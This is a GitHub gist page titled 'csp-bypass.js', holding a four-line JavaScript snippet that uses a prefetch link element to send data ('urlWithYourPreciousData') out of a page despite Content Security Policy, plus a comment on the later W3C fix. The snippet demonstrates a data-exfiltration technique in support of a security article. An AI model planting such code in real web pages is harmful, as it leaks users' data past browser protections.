davidgilbertson/csp-bypass.js

Created January 7, 2018 01:44

Star 16 You must be signed in to star a gist
Fork 4 You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/davidgilbertson/132497d7e0a9a815b150e35d44660893.js"></script>
Save davidgilbertson/132497d7e0a9a815b150e35d44660893 to your computer and use it in GitHub Desktop.

Download ZIP

Raw

csp-bypass.js

	const linkEl = document.createElement('link');
	linkEl.rel = 'prefetch';
	linkEl.href = urlWithYourPreciousData;
	document.head.appendChild(linkEl);

david-fong commented Dec 2, 2020

Here's a link to a w3c issue that got raised a day after this hackernoon article was published. The issue is resolved in another one. In summary, there's a prefetch-src directive that defaults to default-src.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment